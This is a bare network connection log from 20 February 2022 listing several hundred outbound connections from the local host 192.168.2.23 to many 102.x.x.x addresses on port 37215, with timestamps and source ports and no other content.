Feb 20, 2022 15:51:00.770536900 CET	1386	37215	192.168.2.23	102.189.25.57
Feb 20, 2022 15:51:00.770556927 CET	1898	37215	192.168.2.23	102.165.112.194
Feb 20, 2022 15:51:00.770559072 CET	1898	37215	192.168.2.23	102.17.123.239
Feb 20, 2022 15:51:00.770576954 CET	1386	37215	192.168.2.23	102.144.204.14
Feb 20, 2022 15:51:00.770597935 CET	1898	37215	192.168.2.23	102.31.158.119
Feb 20, 2022 15:51:00.770603895 CET	1898	37215	192.168.2.23	102.163.221.174
Feb 20, 2022 15:51:00.770639896 CET	1898	37215	192.168.2.23	102.56.153.153
Feb 20, 2022 15:51:00.770641088 CET	1898	37215	192.168.2.23	102.47.250.58
Feb 20, 2022 15:51:00.770672083 CET	1898	37215	192.168.2.23	102.22.187.249
Feb 20, 2022 15:51:00.770683050 CET	1898	37215	192.168.2.23	102.192.193.143
Feb 20, 2022 15:51:00.770697117 CET	1386	37215	192.168.2.23	102.86.65.96
Feb 20, 2022 15:51:00.770715952 CET	1386	37215	192.168.2.23	102.205.71.215
Feb 20, 2022 15:51:00.770720005 CET	1898	37215	192.168.2.23	102.139.127.193
Feb 20, 2022 15:51:00.770724058 CET	1898	37215	192.168.2.23	102.186.139.83
Feb 20, 2022 15:51:00.770757914 CET	1898	37215	192.168.2.23	102.145.4.209
Feb 20, 2022 15:51:00.770787954 CET	1898	37215	192.168.2.23	102.39.197.170
Feb 20, 2022 15:51:00.770790100 CET	1386	37215	192.168.2.23	102.211.173.3
Feb 20, 2022 15:51:00.770807981 CET	1898	37215	192.168.2.23	102.15.98.230
Feb 20, 2022 15:51:00.770837069 CET	1898	37215	192.168.2.23	102.161.45.212
Feb 20, 2022 15:51:00.770850897 CET	1898	37215	192.168.2.23	102.87.127.82
Feb 20, 2022 15:51:00.770853996 CET	1898	37215	192.168.2.23	102.164.82.136
Feb 20, 2022 15:51:00.770864010 CET	1386	37215	192.168.2.23	102.172.78.98
Feb 20, 2022 15:51:00.770912886 CET	1898	37215	192.168.2.23	102.157.59.249
Feb 20, 2022 15:51:00.770934105 CET	1898	37215	192.168.2.23	102.64.215.67
Feb 20, 2022 15:51:00.770936966 CET	1898	37215	192.168.2.23	102.53.101.128
Feb 20, 2022 15:51:00.770958900 CET	1386	37215	192.168.2.23	102.82.113.210
Feb 20, 2022 15:51:00.770961046 CET	1898	37215	192.168.2.23	102.131.248.217
Feb 20, 2022 15:51:00.770981073 CET	1386	37215	192.168.2.23	102.59.180.52
Feb 20, 2022 15:51:00.770996094 CET	1898	37215	192.168.2.23	102.71.241.224
Feb 20, 2022 15:51:00.771012068 CET	1898	37215	192.168.2.23	102.175.152.65
Feb 20, 2022 15:51:00.771035910 CET	1898	37215	192.168.2.23	102.144.178.64
Feb 20, 2022 15:51:00.771053076 CET	1386	37215	192.168.2.23	102.162.79.137
Feb 20, 2022 15:51:00.771054029 CET	1898	37215	192.168.2.23	102.198.152.131
Feb 20, 2022 15:51:00.771059990 CET	1898	37215	192.168.2.23	102.196.227.11
Feb 20, 2022 15:51:00.771107912 CET	1386	37215	192.168.2.23	102.251.219.99
Feb 20, 2022 15:51:00.771152973 CET	1898	37215	192.168.2.23	102.94.97.161
Feb 20, 2022 15:51:00.771162987 CET	1898	37215	192.168.2.23	102.107.109.127
Feb 20, 2022 15:51:00.771174908 CET	1386	37215	192.168.2.23	102.237.60.215
Feb 20, 2022 15:51:00.771174908 CET	1898	37215	192.168.2.23	102.43.174.133
Feb 20, 2022 15:51:00.771178007 CET	1898	37215	192.168.2.23	102.244.23.35
Feb 20, 2022 15:51:00.771224022 CET	1898	37215	192.168.2.23	102.216.127.124
Feb 20, 2022 15:51:00.771239042 CET	1898	37215	192.168.2.23	102.95.239.174
Feb 20, 2022 15:51:00.771261930 CET	1898	37215	192.168.2.23	102.38.10.45
Feb 20, 2022 15:51:00.771261930 CET	1898	37215	192.168.2.23	102.13.61.73
Feb 20, 2022 15:51:00.771287918 CET	1898	37215	192.168.2.23	102.247.68.7
Feb 20, 2022 15:51:00.771294117 CET	1386	37215	192.168.2.23	102.197.219.31
Feb 20, 2022 15:51:00.771306038 CET	1386	37215	192.168.2.23	102.216.213.166
Feb 20, 2022 15:51:00.771315098 CET	1898	37215	192.168.2.23	102.156.165.106
Feb 20, 2022 15:51:00.771332026 CET	1898	37215	192.168.2.23	102.207.57.146
Feb 20, 2022 15:51:00.771351099 CET	1898	37215	192.168.2.23	102.82.5.130
Feb 20, 2022 15:51:00.771358013 CET	1386	37215	192.168.2.23	102.202.122.115
Feb 20, 2022 15:51:00.771372080 CET	1898	37215	192.168.2.23	102.8.244.127
Feb 20, 2022 15:51:00.771390915 CET	1898	37215	192.168.2.23	102.22.231.13
Feb 20, 2022 15:51:00.771413088 CET	1386	37215	192.168.2.23	102.48.235.110
Feb 20, 2022 15:51:00.771436930 CET	1898	37215	192.168.2.23	102.117.251.240
Feb 20, 2022 15:51:00.771440029 CET	1898	37215	192.168.2.23	102.103.159.147
Feb 20, 2022 15:51:00.771470070 CET	1898	37215	192.168.2.23	102.175.62.119
Feb 20, 2022 15:51:00.771492958 CET	1898	37215	192.168.2.23	102.66.54.98
Feb 20, 2022 15:51:00.771497965 CET	1386	37215	192.168.2.23	102.124.69.166
Feb 20, 2022 15:51:00.771506071 CET	1898	37215	192.168.2.23	102.163.51.95
Feb 20, 2022 15:51:00.771526098 CET	1898	37215	192.168.2.23	102.70.27.154
Feb 20, 2022 15:51:00.771567106 CET	1898	37215	192.168.2.23	102.106.151.93
Feb 20, 2022 15:51:00.771569967 CET	1386	37215	192.168.2.23	102.179.62.205
Feb 20, 2022 15:51:00.771600008 CET	1898	37215	192.168.2.23	102.94.42.5
Feb 20, 2022 15:51:00.771601915 CET	1386	37215	192.168.2.23	102.88.46.4
Feb 20, 2022 15:51:00.771606922 CET	1898	37215	192.168.2.23	102.221.245.226
Feb 20, 2022 15:51:00.771634102 CET	1898	37215	192.168.2.23	102.38.0.255
Feb 20, 2022 15:51:00.771635056 CET	1898	37215	192.168.2.23	102.119.50.246
Feb 20, 2022 15:51:00.771672964 CET	1898	37215	192.168.2.23	102.86.225.53
Feb 20, 2022 15:51:00.771680117 CET	1898	37215	192.168.2.23	102.99.229.38
Feb 20, 2022 15:51:00.771684885 CET	1386	37215	192.168.2.23	102.189.4.242
Feb 20, 2022 15:51:00.771723986 CET	1898	37215	192.168.2.23	102.239.222.255
Feb 20, 2022 15:51:00.771737099 CET	1386	37215	192.168.2.23	102.218.165.11
Feb 20, 2022 15:51:00.771743059 CET	1898	37215	192.168.2.23	102.95.100.116
Feb 20, 2022 15:51:00.771749973 CET	1898	37215	192.168.2.23	102.32.156.211
Feb 20, 2022 15:51:00.771790981 CET	1898	37215	192.168.2.23	102.164.204.225
Feb 20, 2022 15:51:00.771811962 CET	1386	37215	192.168.2.23	102.38.20.201
Feb 20, 2022 15:51:00.771819115 CET	1898	37215	192.168.2.23	102.190.150.220
Feb 20, 2022 15:51:00.771821022 CET	1898	37215	192.168.2.23	102.138.204.156
Feb 20, 2022 15:51:00.771831036 CET	1898	37215	192.168.2.23	102.229.205.130
Feb 20, 2022 15:51:00.771868944 CET	1898	37215	192.168.2.23	102.128.225.111
Feb 20, 2022 15:51:00.771891117 CET	1386	37215	192.168.2.23	102.34.176.122
Feb 20, 2022 15:51:00.771893024 CET	1898	37215	192.168.2.23	102.103.204.168
Feb 20, 2022 15:51:00.771910906 CET	1898	37215	192.168.2.23	102.68.215.158
Feb 20, 2022 15:51:00.771931887 CET	1386	37215	192.168.2.23	102.9.85.106
Feb 20, 2022 15:51:00.771950960 CET	1898	37215	192.168.2.23	102.161.51.87
Feb 20, 2022 15:51:00.771960020 CET	1898	37215	192.168.2.23	102.197.176.20
Feb 20, 2022 15:51:00.771981955 CET	1386	37215	192.168.2.23	102.253.132.208
Feb 20, 2022 15:51:00.772017002 CET	1898	37215	192.168.2.23	102.197.63.83
Feb 20, 2022 15:51:00.772017956 CET	1898	37215	192.168.2.23	102.230.89.53
Feb 20, 2022 15:51:00.772033930 CET	1898	37215	192.168.2.23	102.159.50.112
Feb 20, 2022 15:51:00.772037983 CET	1898	37215	192.168.2.23	102.165.60.195
Feb 20, 2022 15:51:00.772072077 CET	1386	37215	192.168.2.23	102.162.83.235
Feb 20, 2022 15:51:00.772072077 CET	1898	37215	192.168.2.23	102.18.189.43
Feb 20, 2022 15:51:00.772098064 CET	1898	37215	192.168.2.23	102.64.167.186
Feb 20, 2022 15:51:00.772100925 CET	1898	37215	192.168.2.23	102.212.252.236
Feb 20, 2022 15:51:00.772110939 CET	1898	37215	192.168.2.23	102.37.182.123
Feb 20, 2022 15:51:00.772140980 CET	1898	37215	192.168.2.23	102.191.189.199
Feb 20, 2022 15:51:00.772145033 CET	1386	37215	192.168.2.23	102.175.213.245
Feb 20, 2022 15:51:00.772167921 CET	1898	37215	192.168.2.23	102.38.7.201
Feb 20, 2022 15:51:00.772192001 CET	1898	37215	192.168.2.23	102.207.108.184
Feb 20, 2022 15:51:00.772203922 CET	1386	37215	192.168.2.23	102.0.57.238
Feb 20, 2022 15:51:00.772218943 CET	1898	37215	192.168.2.23	102.208.224.201
Feb 20, 2022 15:51:00.772218943 CET	1898	37215	192.168.2.23	102.4.36.67
Feb 20, 2022 15:51:00.772243023 CET	1898	37215	192.168.2.23	102.95.71.130
Feb 20, 2022 15:51:00.772272110 CET	1386	37215	192.168.2.23	102.34.132.206
Feb 20, 2022 15:51:00.772273064 CET	1898	37215	192.168.2.23	102.23.56.115
Feb 20, 2022 15:51:00.772290945 CET	1898	37215	192.168.2.23	102.64.248.194
Feb 20, 2022 15:51:00.772327900 CET	1386	37215	192.168.2.23	102.105.253.9
Feb 20, 2022 15:51:00.772331953 CET	1898	37215	192.168.2.23	102.89.31.75
Feb 20, 2022 15:51:00.772353888 CET	1898	37215	192.168.2.23	102.222.39.203
Feb 20, 2022 15:51:00.772375107 CET	1898	37215	192.168.2.23	102.9.15.0
Feb 20, 2022 15:51:00.772391081 CET	1898	37215	192.168.2.23	102.144.59.210
Feb 20, 2022 15:51:00.772397041 CET	1898	37215	192.168.2.23	102.85.61.173
Feb 20, 2022 15:51:00.772423983 CET	1386	37215	192.168.2.23	102.17.59.236
Feb 20, 2022 15:51:00.772427082 CET	1898	37215	192.168.2.23	102.12.129.84
Feb 20, 2022 15:51:00.772444963 CET	1898	37215	192.168.2.23	102.101.44.251
Feb 20, 2022 15:51:00.772455931 CET	1386	37215	192.168.2.23	102.63.92.62
Feb 20, 2022 15:51:00.772491932 CET	1898	37215	192.168.2.23	102.169.13.118
Feb 20, 2022 15:51:00.772506952 CET	1898	37215	192.168.2.23	102.79.240.163
Feb 20, 2022 15:51:00.772514105 CET	1386	37215	192.168.2.23	102.9.39.21
Feb 20, 2022 15:51:00.772527933 CET	1898	37215	192.168.2.23	102.178.252.63
Feb 20, 2022 15:51:00.772538900 CET	1898	37215	192.168.2.23	102.48.43.71
Feb 20, 2022 15:51:00.772562981 CET	1898	37215	192.168.2.23	102.239.66.202
Feb 20, 2022 15:51:00.772589922 CET	1898	37215	192.168.2.23	102.221.27.137
Feb 20, 2022 15:51:00.772595882 CET	1386	37215	192.168.2.23	102.216.19.103
Feb 20, 2022 15:51:00.772595882 CET	1898	37215	192.168.2.23	102.46.216.172
Feb 20, 2022 15:51:00.772645950 CET	1898	37215	192.168.2.23	102.131.0.64
Feb 20, 2022 15:51:00.772655010 CET	1386	37215	192.168.2.23	102.238.236.100
Feb 20, 2022 15:51:00.772658110 CET	1898	37215	192.168.2.23	102.173.81.15
Feb 20, 2022 15:51:00.772666931 CET	1898	37215	192.168.2.23	102.55.121.134
Feb 20, 2022 15:51:00.772697926 CET	1898	37215	192.168.2.23	102.185.206.163
Feb 20, 2022 15:51:00.772726059 CET	1386	37215	192.168.2.23	102.195.53.83
Feb 20, 2022 15:51:00.772737026 CET	1898	37215	192.168.2.23	102.2.35.62
Feb 20, 2022 15:51:00.772738934 CET	1898	37215	192.168.2.23	102.130.138.226
Feb 20, 2022 15:51:00.772761106 CET	1898	37215	192.168.2.23	102.221.72.4
Feb 20, 2022 15:51:00.772766113 CET	1898	37215	192.168.2.23	102.48.239.236
Feb 20, 2022 15:51:00.772802114 CET	1898	37215	192.168.2.23	102.102.74.219
Feb 20, 2022 15:51:00.772809029 CET	1898	37215	192.168.2.23	102.118.249.168
Feb 20, 2022 15:51:00.772825003 CET	1386	37215	192.168.2.23	102.101.112.120
Feb 20, 2022 15:51:00.772834063 CET	1898	37215	192.168.2.23	102.170.214.78
Feb 20, 2022 15:51:00.772845030 CET	1898	37215	192.168.2.23	102.153.220.8
Feb 20, 2022 15:51:00.772857904 CET	1898	37215	192.168.2.23	102.27.82.47
Feb 20, 2022 15:51:00.772876024 CET	1898	37215	192.168.2.23	102.163.155.20
Feb 20, 2022 15:51:00.772903919 CET	1898	37215	192.168.2.23	102.41.133.27
Feb 20, 2022 15:51:00.772911072 CET	1386	37215	192.168.2.23	102.76.135.234
Feb 20, 2022 15:51:00.772928953 CET	1898	37215	192.168.2.23	102.96.193.48
Feb 20, 2022 15:51:00.772952080 CET	1386	37215	192.168.2.23	102.246.140.62
Feb 20, 2022 15:51:00.772958040 CET	1898	37215	192.168.2.23	102.181.75.6
Feb 20, 2022 15:51:00.773001909 CET	1898	37215	192.168.2.23	102.145.229.183
Feb 20, 2022 15:51:00.773001909 CET	1898	37215	192.168.2.23	102.64.66.73
Feb 20, 2022 15:51:00.773015022 CET	1386	37215	192.168.2.23	102.197.135.119
Feb 20, 2022 15:51:00.773030043 CET	1898	37215	192.168.2.23	102.136.209.180
Feb 20, 2022 15:51:00.773037910 CET	1898	37215	192.168.2.23	102.139.87.45
Feb 20, 2022 15:51:00.773046017 CET	1386	37215	192.168.2.23	102.76.232.163
Feb 20, 2022 15:51:00.773049116 CET	1898	37215	192.168.2.23	102.252.70.24
Feb 20, 2022 15:51:00.773067951 CET	1386	37215	192.168.2.23	102.243.79.208
Feb 20, 2022 15:51:00.773085117 CET	1898	37215	192.168.2.23	102.20.221.209
Feb 20, 2022 15:51:00.773093939 CET	1386	37215	192.168.2.23	102.211.240.176
Feb 20, 2022 15:51:00.773101091 CET	1898	37215	192.168.2.23	102.211.40.157
Feb 20, 2022 15:51:00.773119926 CET	1898	37215	192.168.2.23	102.203.142.167
Feb 20, 2022 15:51:00.773123026 CET	1386	37215	192.168.2.23	102.56.99.235
Feb 20, 2022 15:51:00.773159981 CET	1386	37215	192.168.2.23	102.48.150.115
Feb 20, 2022 15:51:00.773173094 CET	1898	37215	192.168.2.23	102.148.2.84
Feb 20, 2022 15:51:00.773174047 CET	1898	37215	192.168.2.23	102.179.203.228
Feb 20, 2022 15:51:00.773175001 CET	1386	37215	192.168.2.23	102.170.35.35
Feb 20, 2022 15:51:00.773192883 CET	1898	37215	192.168.2.23	102.3.73.70
Feb 20, 2022 15:51:00.773200989 CET	1386	37215	192.168.2.23	102.129.101.237
Feb 20, 2022 15:51:00.773210049 CET	1898	37215	192.168.2.23	102.61.140.189
Feb 20, 2022 15:51:00.773216963 CET	1898	37215	192.168.2.23	102.247.114.82
Feb 20, 2022 15:51:00.773246050 CET	1386	37215	192.168.2.23	102.215.194.165
Feb 20, 2022 15:51:00.773247004 CET	1386	37215	192.168.2.23	102.23.43.203
Feb 20, 2022 15:51:00.773251057 CET	1898	37215	192.168.2.23	102.150.200.57
Feb 20, 2022 15:51:00.773264885 CET	1898	37215	192.168.2.23	102.94.239.249
Feb 20, 2022 15:51:00.773287058 CET	1386	37215	192.168.2.23	102.22.32.143
Feb 20, 2022 15:51:00.773300886 CET	1898	37215	192.168.2.23	102.41.101.213
Feb 20, 2022 15:51:00.773308039 CET	1386	37215	192.168.2.23	102.146.196.12
Feb 20, 2022 15:51:00.773319960 CET	1386	37215	192.168.2.23	102.197.161.202
Feb 20, 2022 15:51:00.773339987 CET	1386	37215	192.168.2.23	102.130.201.93
Feb 20, 2022 15:51:00.773365974 CET	1386	37215	192.168.2.23	102.82.16.4
Feb 20, 2022 15:51:00.773384094 CET	1386	37215	192.168.2.23	102.180.163.226
Feb 20, 2022 15:51:00.773410082 CET	1386	37215	192.168.2.23	102.72.166.122
Feb 20, 2022 15:51:00.773458004 CET	1386	37215	192.168.2.23	102.37.10.177
Feb 20, 2022 15:51:00.773464918 CET	1386	37215	192.168.2.23	102.155.146.53
Feb 20, 2022 15:51:00.773503065 CET	1386	37215	192.168.2.23	102.216.27.172
Feb 20, 2022 15:51:00.773508072 CET	1386	37215	192.168.2.23	102.175.195.137
Feb 20, 2022 15:51:00.773545027 CET	1386	37215	192.168.2.23	102.184.180.174
Feb 20, 2022 15:51:00.773576975 CET	1386	37215	192.168.2.23	102.30.22.68
Feb 20, 2022 15:51:00.773591042 CET	1386	37215	192.168.2.23	102.92.79.149
Feb 20, 2022 15:51:00.773602009 CET	1386	37215	192.168.2.23	102.15.211.117
Feb 20, 2022 15:51:00.773618937 CET	1386	37215	192.168.2.23	102.192.131.39
Feb 20, 2022 15:51:00.773670912 CET	1386	37215	192.168.2.23	102.60.18.226
Feb 20, 2022 15:51:00.773672104 CET	1386	37215	192.168.2.23	102.246.104.2
Feb 20, 2022 15:51:00.773695946 CET	1386	37215	192.168.2.23	102.9.25.212
Feb 20, 2022 15:51:00.773715973 CET	1386	37215	192.168.2.23	102.55.109.31
Feb 20, 2022 15:51:00.773752928 CET	1386	37215	192.168.2.23	102.232.199.68
Feb 20, 2022 15:51:00.773766994 CET	1386	37215	192.168.2.23	102.1.27.207
Feb 20, 2022 15:51:00.773806095 CET	1386	37215	192.168.2.23	102.92.120.163
Feb 20, 2022 15:51:00.773825884 CET	1386	37215	192.168.2.23	102.170.26.205
Feb 20, 2022 15:51:00.773863077 CET	1386	37215	192.168.2.23	102.74.25.69
Feb 20, 2022 15:51:00.773870945 CET	1386	37215	192.168.2.23	102.56.224.82
Feb 20, 2022 15:51:00.773890018 CET	1386	37215	192.168.2.23	102.1.48.255
Feb 20, 2022 15:51:00.773931026 CET	1386	37215	192.168.2.23	102.45.49.245
Feb 20, 2022 15:51:00.773960114 CET	1386	37215	192.168.2.23	102.5.98.123
Feb 20, 2022 15:51:00.773960114 CET	1386	37215	192.168.2.23	102.113.32.33
Feb 20, 2022 15:51:00.773983002 CET	1386	37215	192.168.2.23	102.26.35.94
Feb 20, 2022 15:51:00.774004936 CET	1386	37215	192.168.2.23	102.119.209.39
Feb 20, 2022 15:51:00.774025917 CET	1386	37215	192.168.2.23	102.207.160.116
Feb 20, 2022 15:51:00.774044991 CET	1386	37215	192.168.2.23	102.172.208.53
Feb 20, 2022 15:51:00.774091959 CET	1386	37215	192.168.2.23	102.86.246.213
Feb 20, 2022 15:51:00.774137020 CET	1386	37215	192.168.2.23	102.241.140.64
Feb 20, 2022 15:51:00.774147987 CET	1386	37215	192.168.2.23	102.40.28.240
Feb 20, 2022 15:51:00.774147987 CET	1386	37215	192.168.2.23	102.126.157.117
Feb 20, 2022 15:51:00.774172068 CET	1386	37215	192.168.2.23	102.161.55.151
Feb 20, 2022 15:51:00.774218082 CET	1386	37215	192.168.2.23	102.131.247.177
Feb 20, 2022 15:51:00.774245024 CET	1386	37215	192.168.2.23	102.253.115.178
Feb 20, 2022 15:51:00.774251938 CET	1386	37215	192.168.2.23	102.23.5.248
Feb 20, 2022 15:51:00.774272919 CET	1386	37215	192.168.2.23	102.186.187.91
Feb 20, 2022 15:51:00.774291992 CET	1386	37215	192.168.2.23	102.125.86.98
Feb 20, 2022 15:51:00.774336100 CET	1386	37215	192.168.2.23	102.137.141.119
Feb 20, 2022 15:51:00.774353027 CET	1386	37215	192.168.2.23	102.26.176.154
Feb 20, 2022 15:51:00.774360895 CET	1386	37215	192.168.2.23	102.14.127.243
Feb 20, 2022 15:51:00.774389029 CET	1386	37215	192.168.2.23	102.31.205.43
Feb 20, 2022 15:51:00.774435043 CET	1386	37215	192.168.2.23	102.235.216.216
Feb 20, 2022 15:51:00.774462938 CET	1386	37215	192.168.2.23	102.206.137.7
Feb 20, 2022 15:51:00.774477005 CET	1386	37215	192.168.2.23	102.53.134.199
Feb 20, 2022 15:51:00.774478912 CET	1386	37215	192.168.2.23	102.127.123.40
Feb 20, 2022 15:51:00.774516106 CET	1386	37215	192.168.2.23	102.152.21.156
Feb 20, 2022 15:51:00.774544001 CET	1386	37215	192.168.2.23	102.130.169.72
Feb 20, 2022 15:51:00.774571896 CET	1386	37215	192.168.2.23	102.177.250.138
Feb 20, 2022 15:51:00.774574041 CET	1386	37215	192.168.2.23	102.219.179.187
Feb 20, 2022 15:51:00.774605036 CET	1386	37215	192.168.2.23	102.70.26.133
Feb 20, 2022 15:51:00.774615049 CET	1386	37215	192.168.2.23	102.151.105.74
Feb 20, 2022 15:51:00.774637938 CET	1386	37215	192.168.2.23	102.15.178.101
Feb 20, 2022 15:51:00.774660110 CET	1386	37215	192.168.2.23	102.212.197.6
Feb 20, 2022 15:51:00.774702072 CET	1386	37215	192.168.2.23	102.88.75.35
Feb 20, 2022 15:51:00.774734020 CET	1386	37215	192.168.2.23	102.106.20.178
Feb 20, 2022 15:51:00.774755955 CET	1386	37215	192.168.2.23	102.181.16.11
Feb 20, 2022 15:51:00.774769068 CET	1386	37215	192.168.2.23	102.116.29.80
Feb 20, 2022 15:51:00.774810076 CET	1386	37215	192.168.2.23	102.212.55.21
Feb 20, 2022 15:51:00.774808884 CET	1386	37215	192.168.2.23	102.91.25.192
Feb 20, 2022 15:51:00.774831057 CET	1386	37215	192.168.2.23	102.86.28.62
Feb 20, 2022 15:51:00.774874926 CET	1386	37215	192.168.2.23	102.110.137.222
Feb 20, 2022 15:51:00.774899960 CET	1386	37215	192.168.2.23	102.220.242.146
Feb 20, 2022 15:51:00.774918079 CET	1386	37215	192.168.2.23	102.82.27.149
Feb 20, 2022 15:51:00.774924040 CET	1386	37215	192.168.2.23	102.84.160.195
Feb 20, 2022 15:51:00.774965048 CET	1386	37215	192.168.2.23	102.142.35.113
Feb 20, 2022 15:51:00.774976015 CET	1386	37215	192.168.2.23	102.51.83.159
Feb 20, 2022 15:51:00.774996996 CET	1386	37215	192.168.2.23	102.154.138.193
Feb 20, 2022 15:51:00.775021076 CET	1386	37215	192.168.2.23	102.225.188.58
Feb 20, 2022 15:51:00.775043964 CET	1386	37215	192.168.2.23	102.136.25.191
Feb 20, 2022 15:51:00.775064945 CET	1386	37215	192.168.2.23	102.153.192.246
Feb 20, 2022 15:51:00.775084019 CET	1386	37215	192.168.2.23	102.179.74.0
Feb 20, 2022 15:51:00.775120020 CET	1386	37215	192.168.2.23	102.173.112.152
Feb 20, 2022 15:51:00.775177956 CET	1386	37215	192.168.2.23	102.68.58.145
Feb 20, 2022 15:51:00.775185108 CET	1386	37215	192.168.2.23	102.111.2.252
Feb 20, 2022 15:51:00.775228024 CET	1386	37215	192.168.2.23	102.189.0.137
Feb 20, 2022 15:51:00.775232077 CET	1386	37215	192.168.2.23	102.152.22.229
Feb 20, 2022 15:51:00.775250912 CET	1386	37215	192.168.2.23	102.195.65.114
Feb 20, 2022 15:51:00.775295019 CET	1386	37215	192.168.2.23	102.252.161.189
Feb 20, 2022 15:51:00.775298119 CET	1386	37215	192.168.2.23	102.237.133.225
Feb 20, 2022 15:51:00.775316000 CET	1386	37215	192.168.2.23	102.45.201.200
Feb 20, 2022 15:51:00.775346041 CET	1386	37215	192.168.2.23	102.59.235.186
Feb 20, 2022 15:51:00.775392056 CET	1386	37215	192.168.2.23	102.241.228.104
Feb 20, 2022 15:51:00.775413990 CET	1386	37215	192.168.2.23	102.144.31.111
Feb 20, 2022 15:51:00.775418997 CET	1386	37215	192.168.2.23	102.147.206.227
Feb 20, 2022 15:51:00.775439978 CET	1386	37215	192.168.2.23	102.110.55.147
Feb 20, 2022 15:51:00.775469065 CET	1386	37215	192.168.2.23	102.33.196.98
Feb 20, 2022 15:51:00.775491953 CET	1386	37215	192.168.2.23	102.50.135.35
Feb 20, 2022 15:51:00.775517941 CET	1386	37215	192.168.2.23	102.85.134.157
Feb 20, 2022 15:51:00.775573015 CET	1386	37215	192.168.2.23	102.14.60.225
Feb 20, 2022 15:51:00.775574923 CET	1386	37215	192.168.2.23	102.222.184.209
Feb 20, 2022 15:51:00.775593042 CET	1386	37215	192.168.2.23	102.237.160.142
Feb 20, 2022 15:51:00.775620937 CET	1386	37215	192.168.2.23	102.152.209.60
Feb 20, 2022 15:51:00.775644064 CET	1386	37215	192.168.2.23	102.65.74.255
Feb 20, 2022 15:51:00.775674105 CET	1386	37215	192.168.2.23	102.138.1.137
Feb 20, 2022 15:51:00.775695086 CET	1386	37215	192.168.2.23	102.237.25.56
Feb 20, 2022 15:51:00.775731087 CET	1386	37215	192.168.2.23	102.208.113.132
Feb 20, 2022 15:51:00.775755882 CET	1386	37215	192.168.2.23	102.110.46.102
Feb 20, 2022 15:51:00.775759935 CET	1386	37215	192.168.2.23	102.121.68.117
Feb 20, 2022 15:51:00.775810003 CET	1386	37215	192.168.2.23	102.91.4.107
Feb 20, 2022 15:51:00.775826931 CET	1386	37215	192.168.2.23	102.169.14.183
Feb 20, 2022 15:51:00.775834084 CET	1386	37215	192.168.2.23	102.44.213.244
Feb 20, 2022 15:51:00.775877953 CET	1386	37215	192.168.2.23	102.137.239.172
Feb 20, 2022 15:51:00.775881052 CET	1386	37215	192.168.2.23	102.173.5.68
Feb 20, 2022 15:51:00.775898933 CET	1386	37215	192.168.2.23	102.245.234.142
Feb 20, 2022 15:51:00.775938988 CET	1386	37215	192.168.2.23	102.224.139.166
Feb 20, 2022 15:51:00.775979042 CET	1386	37215	192.168.2.23	102.160.62.159
Feb 20, 2022 15:51:00.775979042 CET	1386	37215	192.168.2.23	102.72.255.217
Feb 20, 2022 15:51:00.776025057 CET	1386	37215	192.168.2.23	102.213.94.177
Feb 20, 2022 15:51:00.776025057 CET	1386	37215	192.168.2.23	102.186.63.208
Feb 20, 2022 15:51:00.776067972 CET	1386	37215	192.168.2.23	102.170.90.237
Feb 20, 2022 15:51:00.776099920 CET	1386	37215	192.168.2.23	102.88.79.55
Feb 20, 2022 15:51:00.776102066 CET	1386	37215	192.168.2.23	102.43.203.16
Feb 20, 2022 15:51:00.776144028 CET	1386	37215	192.168.2.23	102.171.219.5
Feb 20, 2022 15:51:00.776145935 CET	1386	37215	192.168.2.23	102.147.101.85
Feb 20, 2022 15:51:00.776170015 CET	1386	37215	192.168.2.23	102.188.194.204
Feb 20, 2022 15:51:00.776206970 CET	1386	37215	192.168.2.23	102.233.25.69
Feb 20, 2022 15:51:00.776238918 CET	1386	37215	192.168.2.23	102.184.68.11
Feb 20, 2022 15:51:00.776252985 CET	1386	37215	192.168.2.23	102.26.146.76
Feb 20, 2022 15:51:00.776268959 CET	1386	37215	192.168.2.23	102.57.218.11
Feb 20, 2022 15:51:00.776292086 CET	1386	37215	192.168.2.23	102.194.208.77
Feb 20, 2022 15:51:00.776324987 CET	1386	37215	192.168.2.23	102.141.119.105
Feb 20, 2022 15:51:00.776334047 CET	1386	37215	192.168.2.23	102.32.164.9
Feb 20, 2022 15:51:00.776371956 CET	1386	37215	192.168.2.23	102.46.145.3
Feb 20, 2022 15:51:00.776381016 CET	1386	37215	192.168.2.23	102.81.221.133
Feb 20, 2022 15:51:00.776415110 CET	1386	37215	192.168.2.23	102.233.30.182
Feb 20, 2022 15:51:00.776442051 CET	1386	37215	192.168.2.23	102.208.148.196
Feb 20, 2022 15:51:00.776463032 CET	1386	37215	192.168.2.23	102.187.162.169
Feb 20, 2022 15:51:00.776469946 CET	1386	37215	192.168.2.23	102.147.170.81
Feb 20, 2022 15:51:00.776514053 CET	1386	37215	192.168.2.23	102.38.233.173
Feb 20, 2022 15:51:00.776537895 CET	1386	37215	192.168.2.23	102.161.141.54
Feb 20, 2022 15:51:00.776552916 CET	1386	37215	192.168.2.23	102.38.230.98
Feb 20, 2022 15:51:00.776566029 CET	1386	37215	192.168.2.23	102.115.157.138
Feb 20, 2022 15:51:00.776607990 CET	1386	37215	192.168.2.23	102.17.33.251
Feb 20, 2022 15:51:00.776613951 CET	1386	37215	192.168.2.23	102.231.64.195
Feb 20, 2022 15:51:00.776635885 CET	1386	37215	192.168.2.23	102.209.168.88
Feb 20, 2022 15:51:00.776676893 CET	1386	37215	192.168.2.23	102.97.216.16
Feb 20, 2022 15:51:00.776683092 CET	1386	37215	192.168.2.23	102.1.39.44
Feb 20, 2022 15:51:00.776721001 CET	1386	37215	192.168.2.23	102.93.251.26
Feb 20, 2022 15:51:00.776732922 CET	1386	37215	192.168.2.23	102.127.44.240
Feb 20, 2022 15:51:00.776770115 CET	1386	37215	192.168.2.23	102.227.36.2
Feb 20, 2022 15:51:00.776774883 CET	1386	37215	192.168.2.23	102.243.65.233
Feb 20, 2022 15:51:00.776793003 CET	1386	37215	192.168.2.23	102.240.248.146
Feb 20, 2022 15:51:00.776825905 CET	1386	37215	192.168.2.23	102.246.240.9
Feb 20, 2022 15:51:00.776849985 CET	1386	37215	192.168.2.23	102.143.138.236
Feb 20, 2022 15:51:00.776885986 CET	1386	37215	192.168.2.23	102.43.56.224
Feb 20, 2022 15:51:00.776887894 CET	1386	37215	192.168.2.23	102.90.146.212
Feb 20, 2022 15:51:00.776918888 CET	1386	37215	192.168.2.23	102.92.160.13
Feb 20, 2022 15:51:00.776940107 CET	1386	37215	192.168.2.23	102.210.117.241
Feb 20, 2022 15:51:00.776959896 CET	1386	37215	192.168.2.23	102.51.30.151
Feb 20, 2022 15:51:00.777002096 CET	1386	37215	192.168.2.23	102.86.191.217
Feb 20, 2022 15:51:00.777018070 CET	1386	37215	192.168.2.23	102.194.189.178
